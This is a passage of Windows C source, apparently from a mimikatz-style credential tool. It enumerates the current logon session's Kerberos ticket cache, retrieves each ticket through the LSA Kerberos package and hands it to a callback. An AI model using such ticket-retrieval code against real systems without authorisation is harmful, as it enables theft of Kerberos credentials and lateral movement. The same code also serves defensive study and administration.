						pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].ServerName;
						pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
						RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength);

						status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID *)&pKerbRetrieveResponse, &szData, &packageStatus);
					}
				}

				if (callbackCtx && callbackCtx->pTicketHandler)
					callbackCtx->pTicketHandler(callbackCtx->lpContext, &pKerbCacheResponse->Tickets[i], pKerbRetrieveResponse ? &pKerbRetrieveResponse->Ticket : NULL);

				if (pKerbRetrieveRequest)
				{
					LocalFree(pKerbRetrieveRequest);
					pKerbRetrieveRequest = NULL;
				}

				if (pKerbRetrieveResponse)
				{
					LsaFreeReturnBuffer(pKerbRetrieveResponse);
					pKerbRetrieveResponse = NULL;
				}

				kprintf(L"\n");
			}
			LsaFreeReturnBuffer(pKerbCacheResponse);
		}
		else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbQueryTicketCacheEx2Message / Package : %08x\n", packageStatus);
	}
	else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbQueryTicketCacheEx2Message : %08x\n", status);

	return STATUS_SUCCESS;
}